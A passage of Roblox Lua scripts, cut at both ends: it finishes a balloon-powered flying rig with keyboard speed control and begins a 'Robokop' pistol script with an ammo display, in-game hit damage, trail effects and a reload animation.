                                local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
                        end
                end
        end
        local function QuaternionToCFrame(px, py, pz, x, y, z, w)
                local xs, ys, zs = x + x, y + y, z + z
                local wx, wy, wz = w*xs, w*ys, w*zs
                local xx = x*xs
                local xy = x*ys
                local xz = x*zs
                local yy = y*ys
                local yz = y*zs
                local zz = z*zs
                return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
                end
        local function QuaternionSlerp(a, b, t)
                local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
                local startInterp, finishInterp;
                if cosTheta >= 0.0001 then
                        if (1 - cosTheta) > 0.0001 then
                                local theta = math.acos(cosTheta)
                                local invSinTheta = 1/math.sin(theta)
                                startInterp = math.sin((1-t)*theta)*invSinTheta
                                finishInterp = math.sin(t*theta)*invSinTheta
                        else
                                startInterp = 1-t
                                finishInterp = t
                        end
                else
                        if (1+cosTheta) > 0.0001 then
                                local theta = math.acos(-cosTheta)
                                local invSinTheta = 1/math.sin(theta)
                                startInterp = math.sin((t-1)*theta)*invSinTheta
                                finishInterp = math.sin(t*theta)*invSinTheta
                        else
                                startInterp = t-1
                                finishInterp = t
                        end
                end
                return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
        end
        function clerp(a,b,t)
                local qa = {QuaternionFromCFrame(a)}
                local qb = {QuaternionFromCFrame(b)}
                local ax, ay, az = a.x, a.y, a.z
                local bx, by, bz = b.x, b.y, b.z
                local _t = 1-t
                return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
        end

end

plr = game:service'Players'.LocalPlayer
char = plr.Character
mouse = plr:GetMouse()
humanoid = char:findFirstChild("Humanoid")
torso = char:findFirstChild("Torso")
head = char.Head
ra = char:findFirstChild("Right Arm")
la = char:findFirstChild("Left Arm")
rl = char:findFirstChild("Right Leg")
ll = char:findFirstChild("Left Leg")
rs = torso:findFirstChild("Right Shoulder")
ls = torso:findFirstChild("Left Shoulder")
rh = torso:findFirstChild("Right Hip")
lh = torso:findFirstChild("Left Hip")
neck = torso:findFirstChild("Neck")
rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
anim = char:findFirstChild("Animate")
rootpart = char:findFirstChild("HumanoidRootPart")
camera = workspace.CurrentCamera
modelforparts = char:findFirstChild("ModelForParts") or Instance.new("Model", char)
modelforparts.Name = "ModelForParts"
equipped = false
local MAXSPEED = 90
local SPEED = 0
bg = Instance.new("BodyGyro")
bg.maxTorque = Vector3.new(9e6,9e6,9e6)
bg.D = 800
bv = Instance.new("BodyVelocity")
bv.maxForce = Vector3.new(9e6,9e6,9e6)

local sound = Instance.new("Sound", head)
sound.Volume = .25
sound.Pitch = 2
sound.SoundId = "rbxassetid://142317661"
sound.Looped = true
game:GetService("ContentProvider"):Preload("http://www.roblox.com/asset/?id=142317661")
wait()
sound:play()


ColorScheme1 = BrickColor.new(106)
ColorScheme2 = BrickColor.new(40)
ColorScheme3 = BrickColor.new(199)
ANGLE = 0
 equipped = true

rs.Parent = nil
ls.Parent = nil
rh.Parent = nil
lh.Parent = nil
anim.Parent = nil
wait()
local rm = Instance.new("Weld", modelforparts)
rm.C0 = CFrame.new(1.5, 0.5, 0)
rm.C1 = CFrame.new(0, 0.5, 0)
rm.Part0 = torso
rm.Part1 = ra
local lm = Instance.new("Weld", modelforparts)
lm.C0 = CFrame.new(-1.5, 0.5, 0)
lm.C1 = CFrame.new(0, 0.5, 0)
lm.Part0 = torso
lm.Part1 = la
local rlegm = Instance.new("Weld", modelforparts)
rlegm.C0 = CFrame.new(0.5, -1, 0)
rlegm.C1 = CFrame.new(0, 1, 0)
rlegm.Part0 = torso
rlegm.Part1 = rl
local llegm = Instance.new("Weld", modelforparts)
llegm.C0 = CFrame.new(-0.5, -1, 0)
llegm.C1 = CFrame.new(0, 1, 0)
llegm.Part0 = torso
llegm.Part1 = ll

--grey part
local part = Instance.new("Part", modelforparts)
part.Size = Vector3.new(2.2, .85, 2.2)
part.FormFactor = 'Custom'
part.BrickColor = ColorScheme3
part.Locked = true
part.TopSurface = 10
part.BottomSurface = 10
part.LeftSurface = 10
part.RightSurface = 10
part.FrontSurface = 10
part.BackSurface = 10
part:breakJoints()
part.Material = "SmoothPlastic"
part.CanCollide = false
Instance.new("CylinderMesh", part)
local weld = Instance.new("Weld", part)
weld.Part0 = part
weld.Part1 = torso
weld.C1 = CFrame.new(0, -2.1, 0)
weld.C0 = CFrame.Angles(math.pi/2, math.pi/2, 0) * CFrame.new(0, 0, .95)
--orange part
local part2 = part:clone()
part2.Parent = modelforparts
part2.Size = Vector3.new(2.5, 1.05, 2.5)
part2.BrickColor = ColorScheme1
local wld2 = Instance.new("Weld", part)
wld2.Part0 = part2
wld2.Part1 = part
wld2.C1 = CFrame.new()
wld2.C0 = CFrame.new()
--white part
local part3 = part:clone()
part3.Parent = modelforparts
part3.Size = Vector3.new(2.62, .5, 2.62)
part3.BrickColor = ColorScheme2
local wld3 = Instance.new("Weld", part)
wld3.Part0 = part3
wld3.Part1 = part
wld3.C1 = CFrame.new()
wld3.C0 = CFrame.new()
--airblower
local airblowercyl = part:clone()
airblowercyl.Parent = modelforparts
airblowercyl.Size = Vector3.new(.95, 3.5, .95)
airblowercyl.BrickColor = ColorScheme3
local smoke = Instance.new("Smoke", airblowercyl)
smoke.Color = Color3.new(.3, .3, .3)
smoke.RiseVelocity = 10
smoke.Opacity = .1
local cwld = Instance.new("Weld", airblowercyl)
cwld.Part0 = airblowercyl
cwld.Part1 = part
cwld.C1 = CFrame.Angles(0, 0, -math.pi/2)
cwld.C0 = CFrame.new(0, -1.85-0.925, -.6) * CFrame.Angles(math.pi/14, 0, 0)

--handles
local hndl = part:clone()
hndl.Parent = modelforparts
hndl.Size = Vector3.new(.2, .4, .2)
hndl.BrickColor = BrickColor.new(26)
hndl.Mesh:Destroy()
local hwld = Instance.new("Weld", hndl)
hwld.Part1 = part
hwld.Part0 = hndl
hwld.C1 = CFrame.new(.1, 0, 0) * CFrame.Angles(math.pi/2, 0, 0)
hwld.C0 = CFrame.new(0, -.82 - .4, 0)
Instance.new("BlockMesh", hndl).Scale = Vector3.new(.5, 1, .5)
local hndl2 = hndl:clone()
hndl2.Parent = modelforparts
hndl2.Size = Vector3.new(.8, .2, .2)
local hwld2 = Instance.new("Weld", hndl2)
hwld2.Part0 = hndl2
hwld2.Part1 = part
hwld2.C1 = CFrame.new(-.25, 0, 0) * CFrame.Angles(math.pi/2, 0, 0)
hwld2.C0 = CFrame.new(0, -1 - .4, 0)
hndl2.Mesh.Scale = Vector3.new(1, .5, .5)
local hndl3 = hndl:clone()
hndl3.Parent = modelforparts
hndl3.Size = Vector3.new(.2, .4, .2)
local hwld3 = Instance.new("Weld", hndl3)
hwld3.Part0 = hndl3
hwld3.Part1 = part
hwld3.C1 = CFrame.new(-.6, 0, 0) * CFrame.Angles(math.pi/2, 0, 0)
hwld3.C0 = CFrame.new(0, -.82 - .4, 0)
--balloon ropes
local blnrope = part:clone()
blnrope.Parent = modelforparts
blnrope.Size = Vector3.new(.2, 3.8, .2)
blnrope.BrickColor = BrickColor.new(1)
blnrope.Mesh:Destroy()
local blnwld = Instance.new("Weld", blnrope)
blnwld.Part0 = blnrope
blnwld.Part1 = airblowercyl
blnwld.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.pi/2, math.pi/7, -math.pi/8)
blnwld.C0 = CFrame.new(0, -2, 0)
Instance.new("BlockMesh", blnrope).Scale = Vector3.new(.2, 1, .2)
local blnrope2 = blnrope:clone()
blnrope2.Parent = modelforparts
blnrope2.Size = Vector3.new(.2, 4, .2)
local blnwld2 = Instance.new("Weld", blnrope2)
blnwld2.Part0 = blnrope2
blnwld2.Part1 = airblowercyl
blnwld2.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.pi/2, math.pi/4, -math.pi/74)
blnwld2.C0 = CFrame.new(0, -2.2, 0)
local blnrope3 = blnrope:clone()
blnrope3.Parent = modelforparts
local blnwld3 = Instance.new("Weld", blnrope3)
blnwld3.Part0 = blnrope3
blnwld3.Part1 = airblowercyl
blnwld3.C0 = CFrame.new(0, -2, 0)


--Stored balloon rope welds
blnwldC1 = blnwld.C1
blnwld2C1 = blnwld2.C1
blnwld3C1 = blnwld3.C1
--balloons
local bln = part:clone()
bln.Parent = modelforparts
bln.Size = Vector3.new(1.65, 1.8, 1.65)
bln.BrickColor = BrickColor.new(119)
bln.Mesh:Destroy()
bln.Transparency = .1
local balnwld = Instance.new("Weld", bln)
balnwld.Part0 = bln
balnwld.Part1 = blnrope
balnwld.C1 = CFrame.new(0, 0, 0)
balnwld.C0 = CFrame.new(0, -2.6, 0)
Instance.new("SpecialMesh", bln).MeshType = "Sphere"
local bln2 = bln:clone()
bln2.Parent = modelforparts
bln2.BrickColor = BrickColor.new(23)
local balnwld2 = Instance.new("Weld", bln2)
balnwld2.Part0 = bln2
balnwld2.Part1 = blnrope2
balnwld2.C1 = CFrame.new(0, 0, 0)
balnwld2.C0 = CFrame.new(0, -2.8, 0)
local bln3 = bln:clone()
bln3.Parent = modelforparts
bln3.BrickColor = BrickColor.new(21)
local balnwld3 = Instance.new("Weld", bln3)
balnwld3.Part0 = bln3
balnwld3.Part1 = blnrope3
balnwld3.C0 = CFrame.new(0, -2.6, 0)

--Controls
bg.Parent = rootpart
bv.Parent = rootpart
forwards = false
backwards = false
mouse.KeyDown:connect(function(k)
    if k == "w" then
    forwards = true
    coroutine.wrap(function()
        while forwards do wait()
        if SPEED >= MAXSPEED then SPEED = MAXSPEED forwards = false break end
                sound.Volume = sound.Volume + .05
                if sound.Volume >= .5 then sound.Volume = .5 end
        SPEED = SPEED + 5
        end
    end)()
    end
end)
mouse.KeyUp:connect(function(k)
    if k == "w" then
        forwards = false
        coroutine.wrap(function()
        while SPEED >= 0 do wait()
                sound.Volume = sound.Volume - .05
                if sound.Volume <= 0.25 then sound.Volume = 0.25 end
        SPEED = SPEED - 5
        if forward then break end
        if SPEED <= 0 then SPEED = 0 break end
        end
        end)()
    end
end)
--BALLONS MOOOOVEEE :DDD
game:service'RunService'.RenderStepped:connect(function()
        if not equipped then return end
    blnwldC1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.pi/2 - math.rad(SPEED/1.7) + math.sin(ANGLE)*.025, math.pi/7 + math.sin(ANGLE)*.105, -math.pi/8 - math.sin(ANGLE)*.018)
    blnwld2C1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.pi/2 - math.rad(SPEED/1.7) + math.sin(ANGLE)*.015, math.pi/4 - math.sin(ANGLE)*.065, -math.pi/74 + math.sin(ANGLE)*.021)
    blnwld3C1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.pi/2 - math.rad(SPEED/1.7) - math.sin(ANGLE)*.02, math.pi/16 - math.sin(ANGLE)*.125, math.pi/9 - math.sin(ANGLE)*.078)
blnwld.C1 = clerp(blnwld.C1, blnwldC1, 0.05)
blnwld2.C1 = clerp(blnwld2.C1, blnwld2C1, 0.05)
blnwld3.C1 = clerp(blnwld3.C1, blnwld3C1, 0.05)
end)

--positioning welds
lm.C0 = CFrame.new(-1.25, .05, -.5) * CFrame.Angles(math.rad(35), 0, math.rad(45))
rm.C0 = CFrame.new(1.25, .05, -.5) * CFrame.Angles(math.rad(35), 0, -math.rad(45))
llegm.C0 = CFrame.new(-0.5, -1, 0) * CFrame.Angles(0, 0, -math.rad(15))
rlegm.C0 = CFrame.new(0.5, -1, 0) * CFrame.Angles(0, 0, math.rad(15))



game:service'RunService'.RenderStepped:connect(function()
    for i,v in pairs(torso:children()) do if v and v:IsA'BodyGyro' then v:Destroy() end end
    ANGLE = (ANGLE % 360) + math.random(1, 10)/100
humanoid.PlatformStand = true
local rotpos = Vector3.new(camera.CoordinateFrame.x, camera.CoordinateFrame.y, camera.CoordinateFrame.z)
bg.cframe = CFrame.new(torso.Position,rotpos) * CFrame.Angles(0, math.pi, 0)
bv.velocity = (torso.CFrame * CFrame.Angles(math.pi/14, 0, 0)).lookVector * SPEED
end)
]==]

Pistol = [==[
local player=game.Players.LocalPlayer
local char=player.Character
repeat wait() until player and char
local torso=char.Torso
local head=char.Head
local human=char.Humanoid
local arm={Left=char["Left Arm"], Right=char["Right Arm"]}
local leg={Left=char["Left Leg"], Right=char["Right Leg"]}
local joints={LeftShoulder=torso["Left Shoulder"], RightShoulder=torso["Right Shoulder"], LeftHip=torso["Left Hip"], RightHip=torso["Right Hip"]}
joints.LeftShoulder.Part0=torso
joints.RightShoulder.Part0=torso
joints.LeftHip.Part0=torso
joints.RightHip.Part0=torso
local c=function(f) Spawn(f) end
local p=function(f) pcall(f) end
local add={
        Part=function(par, a, c, col, t, s, cf, ms)
                local p=Instance.new("Part", par) pcall(function() p.TopSurface="Smooth" p.BottomSurface="Smooth" p.formFactor="Custom" p.Anchored=a p.CanCollide=c p.BrickColor=BrickColor.new(col) p.Transparency=t p.Size=s p.CFrame=cf or CFrame.new()  end)
                local m=Instance.new("BlockMesh", p) pcall(function() m.Scale=ms or Vector3.new(1, 1, 1) end)
                return p
        end,
        Wedge=function(par, a, c, col, t, s, cf, ms)
                local p=Instance.new("WedgePart", par) pcall(function() p.TopSurface="Smooth" p.BottomSurface="Smooth" p.formFactor="Custom" p.Anchored=a p.CanCollide=c p.BrickColor=BrickColor.new(col) p.Transparency=t p.Size=s p.CFrame=cf or CFrame.new()  end)
                local m=Instance.new("SpecialMesh", p) pcall(function() m.Scale=ms or Vector3.new(1, 1, 1) m.MeshType="Wedge" end)
                return p
        end,
        Gui=function(ins, par, bc, bg, tc, fs, text, t, s, pos)
                local g=Instance.new(ins, par) pcall(function() g.BorderColor=BrickColor.new(bc) g.BackgroundColor=BrickColor.new(bg) g.TextColor=BrickColor.new(tc) g.FontSize=fs g.Font="ArialBold" g.Text=text g.Transparency=t g.Size=s g.Position=pos  end)
                return g
        end,
        Weld=function(par, p1, cf)
                local w=Instance.new("Weld", par) pcall(function() w.Part0=w.Parent or par w.Part1=p1 w.C1=cf or CFrame.new() end)
                return w
        end,
        Mesh=function(ins, par, s, of, t, id)
                local m=Instance.new(ins, par) pcall(function() m.Scale=s or Vector3.new() m.Offset=of or Vector3.new() m.MeshId=id or "" m.MeshType=t end)
                return m
        end,
        Sound=function(parent, id, volume, pitch)
                local s=Instance.new("Sound", parent) pcall(function() s.SoundId=id s.Volume=volume s.Pitch=pitch end)
                return s
        end,
}
local scriptname="Robokop" --Name here
pcall(function() char[scriptname]:remove() char["Objects"]:remove() end)
local model=Instance.new("Model", char) model.Name="Objects"
local modelB=Instance.new("Model", char) modelB.Name=scriptname
local skincolor="Really black"
local color="Dark stone grey"
local color2="Black"
local gui
local body={}
local animate={}
local obj={}
--Variables--
local trailDeb=false
local keyDeb=false
local equip=false
local hitDeb=false
local loop=false
local speed=20
local clip=6
local ammo=200
local Gun=add.Sound(torso, "http://www.roblox.com/asset/?id=2691586", .5, 1)
local Reload=add.Sound(torso, "http://www.roblox.com/asset/?id=2760984", .5, 1)
local HeadShot=add.Sound(torso, "http://www.roblox.com/asset/?id=1876552", 1, 1)
local mouse=player:GetMouse()
        body.Torso=add.Part(modelB, false, false, skincolor, 1, Vector3.new(2, 2, 1), nil)
        body.TorsoW=add.Weld(body.Torso, torso, nil)
        --==Pocket==--
        obj.Pocket=add.Part(modelB, false, false, color, 0, Vector3.new(.5, .5, 1))
        obj.PocketW=add.Weld(obj.Pocket, body.Torso, CFrame.new(1.2, -1.7, 0))
        obj.Wedge=add.Wedge(modelB, false, false, color, 0, Vector3.new(.5, .5, 1))
        obj.WedgeW=add.Weld(obj.Wedge, obj.Pocket, CFrame.new(0, .5, 0)*CFrame.Angles(0, math.pi, 0))
        --==GUN==--
        obj.Handle=add.Part(modelB, false,false, color, 0, Vector3.new(.2, .5, .2))
        obj.HandleW=add.Weld(obj.Handle, obj.Pocket, CFrame.new(0, .75, 0)*CFrame.Angles(-math.rad(105), 0, 0))
        obj.Base=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, 1), nil, Vector3.new(1, .5, 1))
        obj.BaseW=add.Weld(obj.Base, obj.Handle, CFrame.new(0, .2, -.1)*CFrame.Angles(math.rad(15), 0, 0))
        obj.B2=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, 1), nil, Vector3.new(.8, .35, 1))
        obj.B2W=add.Weld(obj.B2, obj.Base, CFrame.new(0, .015, -.2))
        obj.W2=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .2))
        obj.W2W=add.Weld(obj.W2, obj.Base, CFrame.new(0, -.15, .3)*CFrame.Angles(math.pi, 0, 0))
        obj.W3=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .2), nil, Vector3.new(1, .2, .95))
        obj.W3W=add.Weld(obj.W3, obj.Base, CFrame.new(0, -.05, .4)*CFrame.Angles(math.pi, math.pi, 0))
        obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .5, .2))
        obj.PM=add.Mesh("CylinderMesh", obj.P, Vector3.new(1, 1, 1))
        obj.PW=add.Weld(obj.P, obj.Handle, CFrame.new(0, 0, .1))
        obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .5, .2))
        obj.PM=add.Mesh("CylinderMesh", obj.P, Vector3.new(1, 1, 1))
        obj.PW=add.Weld(obj.P, obj.Handle, CFrame.new(0, 0, -.1))
        obj.B3=add.Part(modelB, false, false, color, 0, Vector3.new(.2, 1.2, .2))
        obj.B3M=add.Mesh("CylinderMesh", obj.B3, Vector3.new(.3, 1, .3))
        obj.B3W=add.Weld(obj.B3, obj.B2, CFrame.new(0, 0.02, 0)*CFrame.Angles(math.pi/2, 0, 0))
        obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .2))
        obj.PM=add.Mesh("SpecialMesh", obj.P, Vector3.new(.3, .3, .3), nil, "Sphere")
        obj.PW=add.Weld(obj.P, obj.B3, CFrame.new(0, -.6, 0))
        obj.Barrel=add.Part(modelB, false, false, color, 0, Vector3.new(.2, 1.2, .2))
        obj.BarrelM=add.Mesh("CylinderMesh", obj.Barrel, Vector3.new(.5, 1, .5))
        obj.BarrelW=add.Weld(obj.Barrel, obj.B2, CFrame.new(0, 0.1, 0)*CFrame.Angles(math.pi/2, 0, 0))
        obj.Point=add.Part(modelB, false, false, color2, 0, Vector3.new(.2, .2, .2))
        obj.PointM=add.Mesh("CylinderMesh", obj.Point, Vector3.new(.5, .2, .5))
        obj.PointW=add.Weld(obj.Point, obj.Barrel, CFrame.new(0, -0.6, 0))

        obj.Reload=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, 1.3), nil, Vector3.new(1, .8, 1))
        obj.ReloadW=add.Weld(obj.Reload, obj.Base, CFrame.new(0, .1, -.15))
        obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, 1.3, .2))
        obj.PM=add.Mesh("CylinderMesh", obj.P, Vector3.new(.5, 1, .5))
        obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(0, -.07, 0)*CFrame.Angles(math.pi/2, 0, 0))

        obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
        obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(0, .1, -.52))
        obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
        obj.WW=add.Weld(obj.W, obj.Reload, CFrame.new(0, .1, -.6))
        obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
        obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(-.05, .1, .5))
        obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
        obj.WW=add.Weld(obj.W, obj.P, CFrame.new(0, 0, -.08))
        obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
        obj.WW=add.Weld(obj.W, obj.P, CFrame.new(0, 0, .08)*CFrame.Angles(0, math.pi, 0))

        obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
        obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(.05, .1, .5))
        obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
        obj.WW=add.Weld(obj.W, obj.P, CFrame.new(0, 0, -.08))
        obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
        obj.WW=add.Weld(obj.W, obj.P, CFrame.new(0, 0, .08)*CFrame.Angles(0, math.pi, 0))

        obj.C=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .4, .2))
        obj.CM=add.Mesh("CylinderMesh", obj.C, Vector3.new(.4, 1, .4))
        obj.CW=add.Weld(obj.C, obj.Handle, CFrame.new(0, 0, -.2)*CFrame.Angles(math.rad(105), 0, 0))
        obj.C2=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .2))
        obj.C2M=add.Mesh("CylinderMesh", obj.C2, Vector3.new(.4, 1, .4))
        obj.C2W=add.Weld(obj.C2, obj.C, CFrame.new(0, -.2, -.09)*CFrame.Angles(-math.rad(105), 0, 0))

        obj.Trigger=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .2), nil, Vector3.new(.2, .5, .2))
        obj.TriggerW=add.Weld(obj.Trigger, obj.B2, CFrame.new(0, -.1, 0.1)*CFrame.Angles(math.rad(15), 0, 0))
        obj.Trigger2=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .2), nil, Vector3.new(.2, .2, .4))
        obj.Trigger2W=add.Weld(obj.Trigger2, obj.Trigger, CFrame.new(0, -.05, -.02)*CFrame.Angles(-math.rad(15), 0, 0))

        obj.C=add.Part(modelB, false, false, color2, 0, Vector3.new(.2, .2, .2))
        obj.CM=add.Mesh("CylinderMesh", obj.C, Vector3.new(.4, 1.1, .4))
        obj.CW=add.Weld(obj.C, obj.Handle, CFrame.new(0, .1, -.1)*CFrame.Angles(0, 0, math.pi/2))

        obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, 1.2), nil, Vector3.new(.5, .5, 1))
        obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(-.06, 0, 0))

        obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, 1.2), nil, Vector3.new(.5, .5, 1))
        obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(.06, 0, 0))

        obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .2), nil, Vector3.new(.5, .35, .4))
        obj.WW=add.Weld(obj.W, obj.Reload, CFrame.new(0, .035, .68)*CFrame.Angles(0, math.pi, 0))
        obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .2), nil, Vector3.new(.5, .35, .4))
        obj.WW=add.Weld(obj.W, obj.Reload, CFrame.new(0, -.035, .68)*CFrame.Angles(math.pi, 0, 0))
function createParts()
        torso.Transparency=1
        body.Torso.Transparency=0
        gui=Instance.new("ScreenGui", player.PlayerGui) gui.Name=scriptname
        --==PARTS==--
        body.Head=add.Part(model, false, false, skincolor, 1, Vector3.new(1, 1, 1), nil)
        body.ArmLeft, body.ArmRight=add.Part(model, false, false, skincolor, 1, Vector3.new(1, 1, 1), nil), add.Part(model, false, false, skincolor, 1, Vector3.new(1, 1, 1), nil)
        body.LegLeft, body.LegRight=add.Part(model, false, false, skincolor, 1, Vector3.new(1, 1, 1), nil), add.Part(model, false, false, skincolor, 1, Vector3.new(1, 1, 1), nil)
        --==WELDS==--
        body.HeadW=add.Weld(body.Head, body.Torso, CFrame.new(0, 1.5, 0))
        body.ArmLeftW, body.ArmRightW=add.Weld(body.ArmLeft, body.Torso, CFrame.new(-1.5, .5, 0)), add.Weld(body.ArmRight, body.Torso, CFrame.new(1.5, .5, 0))
        body.LegLeftW, body.LegRightW=add.Weld(body.LegLeft, body.Torso, CFrame.new(-.5, -1.5, 0)), add.Weld(body.LegRight, body.Torso, CFrame.new(.5, -1.5, 0))
        --==WELDS==--
        --add.Weld(body.Head, head, nil)
        add.Weld(arm.Left, body.ArmLeft, CFrame.new(0, -.5, 0))
        add.Weld(arm.Right, body.ArmRight, CFrame.new(0, -.5, 0))
        joints.LeftHip.Part0=body.Torso
        joints.RightHip.Part0=body.Torso
        ---------------------------------------------------------------------------------------
        animate={
                ["Head"]=function(cf)
                        body.HeadW.C1=CFrame.new(0, 1.5, 0)*cf
                end;
                ["Torso"]=function(cf)
                        body.TorsoW.C1=cf
                end;
                ["ArmLeft"]=function(cf)
                        body.ArmLeftW.C1=CFrame.new(-1.5, .5, 0)*cf
                end;
                ["ArmRight"]=function(cf)
                        body.ArmRightW.C1=CFrame.new(1.5, .5, 0)*cf
                end;
                ["LegLeft"]=function(cf)
                        legLeftW=add.Weld(leg.Left, body.LegLeft, CFrame.new(0, -.5, 0))
                        body.LegLeftW.C1=CFrame.new(-.5, -1.5, 0)*cf
                        c(function()
                                wait()
                                legLeftW:remove()
                        end)
                end;
                ["LegRight"]=function(cf)
                        legRightW=add.Weld(leg.Right, body.LegRight, CFrame.new(0, -.5, 0))
                        body.LegRightW.C1=CFrame.new(.5, -1.5, 0)*cf
                        c(function()
                                wait()
                                legRightW:remove()
                        end)
                end;
        }
        --==Objects==--
        obj.Clip=add.Gui("TextLabel", gui, "Really black", "Really black", "White", "Size18", clip.."/6", 0, UDim2.new(0, 150, 0, 50), UDim2.new(0, 0, 0, 150))
        obj.Ammo=add.Gui("TextLabel", obj.Clip, "Really black", "Really black", "White", "Size18", ammo.."/200", 0, UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 1, 0))
end
function removeParts()
        p(function()
                body.Torso.Transparency=1
                if torso then
                        joints.LeftShoulder.Part0=torso
                        joints.RightShoulder.Part0=torso
                        joints.LeftHip.Part0=torso
                        joints.RightHip.Part0=torso
                end
                player.PlayerGui[scriptname]:remove()
                for i, v in pairs(model:children()) do v:remove() end
                for i, v in pairs(char:children()) do v.Transparency=0 end
                torso.Transparency=0
        end)
end
function hit(h)
        if h.Parent:findFirstChild("Humanoid") and hitDeb==false and h.Parent~=char then
                hitDeb=true
                local hHuman=h.Parent:findFirstChild("Humanoid")
                local hTorso=h.Parent:findFirstChild("Torso")
                local dmg=math.random(5, 15)
                if h.Name=="Head" then local headshot=HeadShot:clone() headshot.Parent=h headshot:play()
                        h.Parent:BreakJoints()
                        local fakeM=Instance.new("Model", workspace) fakeM.Name="HeadShot!"
                        local fakeH=Instance.new("Humanoid", fakeM) fakeH.MaxHealth=0 fakeH.Health=0
                        local effect=add.Part(fakeM, true, false, "Bright red", 0, Vector3.new(1, 1, 1), h.CFrame*CFrame.new(0, 4, 0)) effect.Name="Head"
                        local fakeMesh=add.Mesh("CylinderMesh", effect, Vector3.new(1, .5, 1), nil, nil)
                        game.Debris:addItem(fakeM, 2)
                else
                        hHuman.Health=hHuman.Health-dmg
                        local fakeM=Instance.new("Model", workspace) fakeM.Name=-dmg
                        local fakeH=Instance.new("Humanoid", fakeM) fakeH.MaxHealth=0 fakeH.Health=0
                        local effect=add.Part(fakeM, true, false, "Bright red", 0, Vector3.new(1, 1, 1), h.CFrame*CFrame.new(0, 4, 0)) effect.Name="Head"
                        local fakeMesh=add.Mesh("CylinderMesh", effect, Vector3.new(1, .5, 1), nil, nil)
                        hTorso.RotVelocity=Vector3.new(math.random(-100, 100), math.random(-100, 100), math.random(-100, 100))
                        game.Debris:addItem(fakeM, 2)
                        local effect=add.Part(workspace, true, false, "White", .5, Vector3.new(1, 1, 1), CFrame.new(h.CFrame.p, torso.CFrame.p)*CFrame.Angles(-math.pi/2, 0, 0))
                        local effectM=add.Mesh("SpecialMesh", effect, Vector3.new(1, 1, 1), nil, nil, "http://www.roblox.com/asset/?id=20329976")
                        c(function()
                                for i=1, 2, .2 do wait()
                                        effectM.Scale=Vector3.new(i, i/2, i)
                                end
                                effect:remove()
                        end)
                end
                wait(.1)
                hitDeb=false
        end
end
function computePos(pos, pos2)
        local pos3=Vector3.new(pos2.x, pos.y, pos2.z)
        return CFrame.new(pos, pos3)
end
function trail(pos, cf)
        c(function()
                local old=(pos.CFrame*cf).p
                while trailDeb==true do
                        wait()
                        local new=(pos.CFrame*cf).p
                        local mag=(old-new).magnitude
                        local dis=(old+new)/2
                        local trail=add.Part(workspace, true, false, "White", 0, Vector3.new(.5, mag, .5), CFrame.new(dis, new)*CFrame.Angles(math.pi/2, 0, 0)) trail.Name="Trail"
                        local tMesh=add.Mesh("CylinderMesh", trail, Vector3.new(.5, 1, .5), nil, nil)
                        old=new
                        c(function()
                                for i=1, 0, -.25 do
                                        wait()
                                        tMesh.Scale=tMesh.Scale*Vector3.new(i, 1, i)
                                end
                                trail:remove()
                        end)
                        c(function()
                                for i=0, 1, .25 do
                                        wait()
                                        trail.Transparency=i
                                end
                        end)
                end
        end)
end
function reload()
        Reload:play()
        for i=0, 1, .1 do wait()
                animate.Torso(CFrame.Angles(0, math.rad(90-90*i), 0))
                animate.ArmLeft(CFrame.new(.5*i, 0, -.5*i)*CFrame.Angles(math.rad(90)*i, 0, math.rad(25)*i))
